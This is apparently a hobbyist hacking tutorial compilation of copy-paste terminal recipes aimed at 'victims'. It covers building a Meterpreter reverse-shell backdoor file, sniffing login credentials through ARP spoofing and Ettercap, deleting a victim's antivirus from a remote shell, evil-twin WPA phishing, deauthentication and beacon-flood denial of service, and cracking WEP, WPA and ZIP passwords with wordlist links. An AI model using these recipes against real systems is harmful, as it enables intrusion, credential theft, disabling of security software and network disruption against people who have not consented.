Backdoor Windows

Open a new console and type:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 x > /root/Desktop/Virus.exe
(In my case is 192.168.1.1 and i choosed the name Virus...You can choose whatever you want)

After the file is created open another terminal and type:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST=192.168.1.1
exploit

When you see Sending stage........ that means that the victim opened your file...and when you see the console saying meterpreter > that means that you are in the victim's system and console is waiting for commands...

For example you want to create a folder type:

shell

cd /

mkdir You have been hacked by GRDriftKing

The folder is created in C:\ with the name You have been hacked by GRDriftKing

How to Sniff Passwords With Ettercap

Open a new console and type:
ifconfig wlan0 down
macchanger --mac 11:22:33:44:55:66 wlan0
ifconfig wlan0 up
echo 1 > /proc/sys/net/ipv4/ip_forward
gedit /etc/etter.conf
Go to "# if you use iptables:" and you will see:
#redir command_on = "iptables -t nat -A... 
#redir command_off = "iptables -t nat -D... 
and delete # it will look like this:
redir command_on = "iptables -t nat -A... 
redir command_off = "iptables -t nat -D... 
and save it...
ifconfig
clear
Go to victim's PC and run CMD and type ipconfig you must find IPv4 Address and Default Gateway thats what we need...
Now go back and type in console:
arpspoof -i wlan0 -t 192.168.1.11 192.168.1.1
(In my case is 192.168.1.11 192.168.1.1)
Now open a new console and type:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
Now open a new console and type:
ettercap -T -q -i wlan0
Now go to victim's PC and type ex.www.google.gr you will see "There is a problem with this website's security certificate" and if you go to login to any account you will see the Username and the Password in Backtrack...

Hirte Attack

Open a new console and type:
ifconfig wlan0 down
macchanger --mac 11:22:33:44:55:66 wlan0
ifconfig wlan0 up
airmon-ng
airmon-ng start wlan0
airmon-ng
airodump-ng mon0
airbase-ng -c x -a xx:xx:xx:xx:xx:xx -e "xxxxxxx" -W 1 -N mon0
(-c is channel -a BSSID -e is ESSID)
Now open a new console and type:
airodump-ng -c x --bssid xx:xx:xx:xx:xx:xx --write Hirte mon0
aircrack-ng Hirte-01.cap

How to kill Antivirus

Open a console and type:

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverce tcp
set LHOST 192.168.1.1
(In my case is 192.168.1.1)
set LPORT 4444
exploit
sysinfo
ipconfig
getsystem
getuid
shell
(Now you're in the victim PC)
cd C:\\
dir
cd Program Files
dir
[Also in my case is AVG...it's free and the best one out there (in my opinion)]
cd AVG
dir
cd AVG2012
dir
cd C:\\
cd Program Files
cd AVG
del AVG2012
y
(Now you will see something like this:
C:\Program Files\AVG\AVG2012\xxxxx.dll
Access is denied
C:\Program Files\AVG\AVG2012\xxxxx.exe
Access is denied
C:\Program Files\AVG\AVG2012\xxxxx.lng
Access is denied
This is the remains of AVG...)
exit
rev2self
getuid
reboot

That's it...Antivirus is gone but you should always know your victim's IP...

WordList Collection

Small Wordlist 40mb 

http://www.mediafire.com/download.php?wyv9a77khdlj8jj

Medium Wordlist 107mb

http://www.mediafire.com/download.php?i3582dgv2lu6mx8

Large Wordlist 900mb

http://www.mediafire.com/download.php?dabqr2jk3jl2oa2

XXXL Wordlist 27gb

http://www.mediafire.com/download.php?c5dpdj3juxta1xr

Guys the only thing you have to do is to copy one the links and paste them in your address bar...Sorry for not adding them as links...they were looked like black...

WPA/WPA2 Hacking [Evil Twin Method]

Open a new console and type:

airodump-ng mon0
apt-get install dhcp3-server -y
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
gedit /etc/dhcp3/dhcpd.conf

Now you have to type this:

ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
subnet 192.168.1.1 netmask 255.255.255.0 {
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option routers 192.168.1.2;
    option domain-name-servers 8.8.8.8;
    range 192.168.1.3 192.168.1.254;
}

Now continue back to console

airmon-ng stop mon0
airmon-ng stop wlan0
airmon-ng start wlan0 11
(11 is the channel)
airbase-ng -e "ESSID" -c 11 -a xx:xx:xx:xx:xx:xx mon0

Now open a new console and type:
ifconfig at0 up
ifconfig at0 192.168.1.2 netmask 255.255.255.0
route add -net 192.168.1.1 netmask 255.255.255.0 gw 192.168.1.2
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcp.pid at0
/etc/init.d/dhcp3-server start
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

Now open Wicd and go to preferences and check wireless interface in my case is wlan2...Now go back to console and type:

iptables --table nat --append POSTROUTING --out-interface wlan2 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward

Now go to applications -> BackTrack -> Services -> HTTPD -> apache start
Also Now go to applications -> BackTrack -> Services -> MySQLD -> mysql start

Now go back to console and type:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.1:80

[In my case is 192.168.1.1:80 you should find your router's ip(which you are changing your router's options)]

iptables -t nat -A PREROUTING -j MASQUERADE
clear
airodump-ng mon0
airodump-ng --bssid xx:xx:xx:xx:xx:xx -c 11 mon0
aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0

(First xx:xx:xx:xx:xx:xx is BSSID and the second xx:xx:xx:xx:xx:xx is STATION)

Now go to your PC(Victim) and you will see if you type whatever you want in the address bar you will see that nothing happens...then if you try to repair your network you will see "Successfully connected to XXXXXXX" and if you retry to search whatever you want on the internet you will see that you must re-enter your WPA or WPA2 key...
Now go back to BackTrack and stop the console in which the airbase-ng -e "ESSID" -c 11 -a xx:xx:xx:xx:xx:xx mon0 command was running and press CTRL+C to stop it and then type:
exit

Now go back to the other console and press CTRL+C to stop it and then type:
clear
mysql -u root -p
(you will see Enter password just skip it by pressing enter)
use wpa2
select * from content:
(you will see a small table copy the last line of key 2 this is the WPA2 Key)
Then go back to Wicd find the Network you were hacking and paste the WPA2 Key...And normally you will connect to the network...

Crack ZIP Passwords

Open a new console and type cd and zip's location ex. cd Desktop/ then type:
fcrackzip -b -c 1aA -l 2-10 -v locked.zip

-b is bruteforcing
-c is charset ex. a = lowercase A = uppercase and 1 = numbers
-l is length of the password ex. 2-10 is from 2 letters to 10 or if you know the length type only one number ex. 3 NOT 3-3
-v is "verbose" (This is optional...but you have better results...)
And finaly the name of the zip in my case is locked...

MDK3 - Network Traffic Disruption

Beacon Flood Mode
This mode sends beacons showing fake APs and with this can cause network scanners and drivers to crash.
(I have tested it to find only a hidden SSID...works perfectly...)

mdk3 mon0 b-n DEFAULT -w-g-m-s 50

Authentication Dos Mode
In this case there are too many clients authenticating to the AP so it will freeze up or reset the AP.
(I have tested it several times, it is frozing a couple of times for a few seconds, and then it fights to start working but the speed was severely affected...)

mdk3 mon0 a -a xx:xx:xx:xx:xx:xx -m

Deathentication / Disassociation Amok Mode

This is used to kick clients from an AP.
You have to create a txt file with the AP MAC and use this as the blacklist.

echo 00:13:D4:09:32:60 > mdk3test.txt
mdk3 mon0 d -b mdk3test.txt -c 1 -s 250

How to hack WEP

Start console and type:
airmon-ng
ex.wlan0
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
ifconfig wlan0 up
airmon-ng start wlan0

Then if you want continue to the same console or open a new one(I think it's better...)

airodump-ng mon0
airodump-ng -c 6 -w wep --bssid xx:xx:xx:xx:xx:xx mon0
(6 is the channel and wep is key encryption in your case maybe will be different)
aireplay-ng -9 -e " network's name" -a "bssid" mon0

aireplay-ng -1 0 -a  xx:xx:xx:xx:xx:xx -h 00:11:22:33:44:55 mon0

aireplay-ng -3 -b  xx:xx:xx:xx:xx:xx -h 00:11:22:33:44:55 mon0

Also now open a new console and type:

aircrack-ng -b xx:xx:xx:xx:xx:xx wep-01.cap

How to hack WPA/WPA2

1:
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger --mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0

2:
Now we will put the airodump-ng tool into monitor mode, this will allow us to see all of the wireless networks around us.

airodump-ng mon0

Now choose the network you want to hack and take note of the BSSID, and the Channel it is one as well as the ESSID. The PWR has to be fairly high to be able to hack it, this is determined by how close you are to the wireless router. The closer you are, the better. Once you have chosen the wireless network enter the following into the terminal: This will write capture packets and put them into the "filename" file, we are trying to capture the handshake between the router and wireless connection which will give us the key we need to crack.


3:
airodump-ng mon0 --channel * --bssid xx:xx:xx:xx:xx:xx -w filename

The following step is not necessarily but is highly recommended as it will speed up the process.
Once “WPA handshake: xx:xx:xx:xx:xx:xx” appears in the top right-hand corner we can move on. If you are having trouble getting the WPA handshake to occur then leave it and go to step 4.

4:
aireplay-ng -0 1 -a xx:xx:xx:xx:xx:xx -c xx:xx:xx:xx:xx:xx mon0

In this step you deauthorize a wireless connection and try to re-establish it so it will generate a new handshake to capture. This step ends when finally you have captured the handshake.

5:
aircrack-ng –w wordlist.lst -b xx:xx:xx:xx:xx:xx (ex.capturedkey_1.cap)

In step 5 you are now trying to crack the password in "capturedkey_1.cap"(in my case is "capturedkey_1.cap" you can use whatever you want) using a wordlist, which is also in my case called "wordlist.lst". Now you have to wait a lot of time for your computer to capture the password.

6:
If the password isn't found in the dictionary you can try and brute-force the password with this command: (Note this could take much more longer depending on their password strength).

/pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b xx:xx:xx:xx:xx:xx -w - capturedkey.cap